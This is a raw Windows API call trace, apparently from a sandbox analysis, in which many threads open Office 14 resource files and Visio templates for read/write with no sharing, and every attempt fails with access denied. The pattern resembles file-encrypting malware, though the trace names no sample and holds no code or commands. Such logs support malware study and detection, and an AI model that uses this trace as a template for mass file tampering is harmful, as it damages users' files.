SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", dwFileAttributes=0x20) returned 0 [0203.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir4f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.306] GetLastError () returned 0x5 [0203.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", dwFileAttributes=0x20) returned 0 [0203.306] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134e2e08) returned 1 Thread: id = 9294 os_tid = 0x17f8 [0202.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir50b.gif")) returned 0x20 [0203.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", dwFileAttributes=0x20) returned 0 [0203.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir50b.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.305] GetLastError () returned 0x5 [0203.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", dwFileAttributes=0x20) returned 0 [0203.305] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c776c0) returned 1 Thread: id = 9295 os_tid = 0x17fc [0202.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir50f.gif")) returned 0x20 [0203.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", dwFileAttributes=0x20) returned 0 [0203.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir50f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.303] GetLastError () returned 0x5 [0203.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF", dwFileAttributes=0x20) returned 0 [0203.304] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77590) returned 1 Thread: id = 9296 os_tid = 0x418 [0202.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir")) returned 0x20 [0202.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", dwFileAttributes=0x20) returned 0 [0202.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.766] GetLastError () returned 0x5 [0202.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir", dwFileAttributes=0x20) returned 0 [0202.766] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4138) returned 1 Thread: id = 9342 os_tid = 0xcec [0203.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir51b.gif")) returned 0x20 [0203.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", dwFileAttributes=0x20) returned 0 [0203.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir51b.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.341] GetLastError () returned 0x5 [0203.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF", dwFileAttributes=0x20) returned 0 [0203.341] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4138) returned 1 Thread: id = 9343 os_tid = 0xd30 [0203.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir51f.gif")) returned 0x20 [0203.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", dwFileAttributes=0x20) returned 0 [0203.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir51f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.340] GetLastError () returned 0x5 [0203.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF", dwFileAttributes=0x20) returned 0 [0203.340] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f40a0) returned 1 Thread: id = 9344 os_tid = 0xd34 [0203.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir5b.gif")) returned 0x20 [0203.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", dwFileAttributes=0x20) returned 0 [0203.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir5b.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.339] GetLastError () returned 0x5 [0203.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", dwFileAttributes=0x20) returned 0 [0203.339] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134e3168) returned 1 Thread: id = 9345 os_tid = 0x155c [0203.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir5f.gif")) returned 0x20 [0203.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", dwFileAttributes=0x20) returned 0 [0203.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir5f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.337] GetLastError () returned 0x5 [0203.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", dwFileAttributes=0x20) returned 0 [0203.338] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134e2fb8) returned 1 Thread: id = 9346 os_tid = 0x1570 [0203.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir6b.gif")) returned 0x20 [0203.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", dwFileAttributes=0x20) returned 0 [0203.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir6b.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.336] GetLastError () returned 0x5 [0203.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF", dwFileAttributes=0x20) returned 0 [0203.336] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134e31f8) returned 1 Thread: id = 9347 os_tid = 0x1574 [0203.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir6f.gif")) returned 0x20 [0203.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", dwFileAttributes=0x20) returned 0 [0203.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir6f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.335] GetLastError () returned 0x5 [0203.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF", dwFileAttributes=0x20) returned 0 [0203.335] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134e3288) returned 1 Thread: id = 9348 os_tid = 0x858 [0203.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir7b.gif")) returned 0x20 [0203.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", dwFileAttributes=0x20) returned 0 [0203.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir7b.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.334] GetLastError () returned 0x5 [0203.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF", dwFileAttributes=0x20) returned 0 [0203.334] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134e2f28) returned 1 Thread: id = 9349 os_tid = 0x1578 [0203.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir7f.gif")) returned 0x20 [0203.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", dwFileAttributes=0x20) returned 0 [0203.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir7f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.333] GetLastError () returned 0x5 [0203.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF", dwFileAttributes=0x20) returned 0 [0203.333] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134e3048) returned 1 Thread: id = 9350 os_tid = 0x1c58 [0203.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir8b.gif")) returned 0x20 [0203.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", dwFileAttributes=0x20) returned 0 [0203.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir8b.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.332] GetLastError () returned 0x5 [0203.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF", dwFileAttributes=0x20) returned 0 [0203.332] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134e2d78) returned 1 Thread: id = 9351 os_tid = 0x1c6c [0203.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir8f.gif")) returned 0x20 [0203.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", dwFileAttributes=0x20) returned 0 [0203.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir8f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.331] GetLastError () returned 0x5 [0203.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF", dwFileAttributes=0x20) returned 0 [0203.331] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134e2988) returned 1 Thread: id = 9352 os_tid = 0x19fc [0203.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir9b.gif")) returned 0x20 [0203.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", dwFileAttributes=0x20) returned 0 [0203.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir9b.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.329] GetLastError () returned 0x5 [0203.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF", dwFileAttributes=0x20) returned 0 [0203.330] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134e2e98) returned 1 Thread: id = 9353 os_tid = 0x1be8 [0203.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir9f.gif")) returned 0x20 [0203.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", dwFileAttributes=0x20) returned 0 [0203.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir9f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.328] GetLastError () returned 0x5 [0203.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", dwFileAttributes=0x20) returned 0 [0203.328] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134e2c58) returned 1 Thread: id = 9354 os_tid = 0x1bec [0203.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpapers.ini")) returned 0x20 [0203.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", dwFileAttributes=0x20) returned 0 [0203.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpapers.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.313] GetLastError () returned 0x5 [0203.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI", dwFileAttributes=0x20) returned 0 [0203.313] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4858) returned 1 Thread: id = 9355 os_tid = 0x1bf0 [0203.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir00.gif")) returned 0x20 [0203.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", dwFileAttributes=0x20) returned 0 [0203.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir00.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.312] GetLastError () returned 0x5 [0203.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", dwFileAttributes=0x20) returned 0 [0203.312] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f47c0) returned 1 Thread: id = 9366 os_tid = 0x15e4 [0203.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.TXT" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgdata.txt")) [0207.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.TXT", dwFileAttributes=0x20) returned 0 [0207.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.TXT" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgdata.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0207.766] GetLastError () returned 0x5 [0207.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.TXT", dwFileAttributes=0x20) returned 0 [0207.766] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae1a8) returned 1 Thread: id = 9367 os_tid = 0x478 [0203.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgdata.xls")) [0207.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.XLS", dwFileAttributes=0x20) returned 0 [0207.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgdata.xls"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0207.765] GetLastError () returned 0x5 [0207.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.XLS", dwFileAttributes=0x20) returned 0 [0207.765] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ace48) returned 1 Thread: id = 9368 os_tid = 0x170 [0203.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGWIZ_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgwiz_m.vst")) [0207.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGWIZ_M.VST", dwFileAttributes=0x20) returned 0 [0207.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGWIZ_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgwiz_m.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0207.764] GetLastError () returned 0x5 [0207.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGWIZ_M.VST", dwFileAttributes=0x20) returned 0 [0207.764] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae248) returned 1 Thread: id = 9369 os_tid = 0xb3c [0203.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGWIZ_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgwiz_u.vst")) [0207.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGWIZ_U.VST", dwFileAttributes=0x20) returned 0 [0207.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGWIZ_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgwiz_u.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0207.763] GetLastError () returned 0x5 [0207.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGWIZ_U.VST", dwFileAttributes=0x20) returned 0 [0207.763] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e65a8) returned 1 Thread: id = 9370 os_tid = 0x314 [0203.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PBASLN_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pbasln_m.vst")) [0207.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PBASLN_M.VST", dwFileAttributes=0x20) returned 0 [0207.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PBASLN_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pbasln_m.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0207.762] GetLastError () returned 0x5 [0207.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PBASLN_M.VST", dwFileAttributes=0x20) returned 0 [0207.762] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6648) returned 1 Thread: id = 9371 os_tid = 0x668 [0203.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PBASLN_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pbasln_u.vst")) returned 0x20 [0203.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PBASLN_U.VST", dwFileAttributes=0x20) returned 0 [0203.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PBASLN_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pbasln_u.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.473] GetLastError () returned 0x5 [0203.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PBASLN_U.VST", dwFileAttributes=0x20) returned 0 [0203.473] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e66e8) returned 1 Thread: id = 9372 os_tid = 0x680 [0203.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PBLANK_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pblank_m.vst")) returned 0x20 [0206.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PBLANK_M.VST", dwFileAttributes=0x20) returned 0 [0206.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PBLANK_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pblank_m.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0207.076] GetLastError () returned 0x5 [0207.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PBLANK_M.VST", dwFileAttributes=0x20) returned 0 [0207.077] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6788) returned 1 Thread: id = 9394 os_tid = 0xf58 